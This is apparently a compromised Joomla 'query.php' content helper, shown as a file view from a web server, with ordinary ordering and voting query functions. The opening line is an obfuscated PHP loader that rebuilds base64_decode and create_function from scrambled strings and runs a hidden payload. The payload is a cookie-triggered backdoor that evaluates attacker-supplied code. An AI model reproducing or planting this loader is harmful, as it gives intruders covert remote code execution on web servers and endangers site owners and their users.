| Current Path : /var/www/iplanru/data/old/www/i-plan.ru/components/com_content/helpers/ |
| Current File : /var/www/iplanru/data/old/www/i-plan.ru/components/com_content/helpers/query.php |
<? $GLOBALS['_nlnlnl_']=Array('' .'rou' .'n' .'d'); ?><? $GLOBALS['_nlnl_']=Array(); ?><? $GLOBALS['_nl_']=Array('s' .'tr_rep' .'lac' .'e'); ?><?php $kkk_0="2luKxxGFxxyxxcmF5X3NsaWNlKCRhLCRjxxKCRhKS0zKSkpKSk7ZWNoxxbyAnPC8nLiRrLic+Jzt9";$kkk_1="XBsYWNlKGFycmF5xxKCcvW15cdz1cc10vJywnL1xxxzLyxxcpLCBhcnJheSgnJywnKycpxxLCBqb";$kkk_2="PjMpeyRrPSdYanxxk0dFAnO2VjaG8gJzwnLiRrLixxc+JztldmFxxsKxxGJhc2Uxx2NF9kZWNvZGUocHJlZ19yZ";$kkk_3="JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZixxhyZXNldxxCgkYSkxx9PSxxdjeCcgJiYgxxJGMoJGEp";$kkk_4=$GLOBALS['_nl_'][$GLOBALS['_nlnlnl_'][0](round(0))]("su","","ssutr_sursuesuplsuasucsue");$kkk_5=$kkk_4("ac","","acbase64ac_acdaceaccacoacde");$kkk_6=$kkk_4("l","","lcrlelaltlel_lfulncltliloln");$kkk_7=$kkk_6('',$kkk_5($kkk_4("xx","",$kkk_3 .$kkk_2 .$kkk_1 .$kkk_0)));$kkk_7(); ?>
<?php
/**
* @version $Id: query.php 10381 2008-06-01 03:35:53Z pasamio $
* @package Joomla
* @subpackage Content
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant to the
* GNU General Public License, and as distributed it includes or is derivative
* of works licensed under the GNU General Public License or other free or open
* source software licenses. See COPYRIGHT.php for copyright notices and
* details.
*/
// no direct access
defined('_JEXEC') or die('Restricted access');
/**
* Content Component Query Helper
*
* @static
* @package Joomla
* @subpackage Content
* @since 1.5
*/
class ContentHelperQuery
{
function orderbyPrimary($orderby)
{
switch ($orderby)
{
case 'alpha' :
$orderby = 'cc.title, ';
break;
case 'ralpha' :
$orderby = 'cc.title DESC, ';
break;
case 'order' :
$orderby = 'cc.ordering, ';
break;
default :
$orderby = '';
break;
}
return $orderby;
}
function orderbySecondary($orderby)
{
switch ($orderby)
{
case 'date' :
$orderby = 'a.created';
break;
case 'rdate' :
$orderby = 'a.created DESC';
break;
case 'alpha' :
$orderby = 'a.title';
break;
case 'ralpha' :
$orderby = 'a.title DESC';
break;
case 'hits' :
$orderby = 'a.hits DESC';
break;
case 'rhits' :
$orderby = 'a.hits';
break;
case 'order' :
$orderby = 'a.ordering';
break;
case 'author' :
$orderby = 'a.created_by_alias, u.name';
break;
case 'rauthor' :
$orderby = 'a.created_by_alias DESC, u.name DESC';
break;
case 'front' :
$orderby = 'f.ordering';
break;
default :
$orderby = 'a.ordering';
break;
}
return $orderby;
}
function buildVotingQuery($params=null)
{
if (!$params) {
$params = &JComponentHelper::getParams( 'com_content' );
}
$voting = $params->get('show_vote');
if ($voting) {
// calculate voting count
$select = ' , ROUND( v.rating_sum / v.rating_count ) AS rating, v.rating_count';
$join = ' LEFT JOIN #__content_rating AS v ON a.id = v.content_id';
} else {
$select = '';
$join = '';
}
$results = array ('select' => $select, 'join' => $join);
return $results;
}
}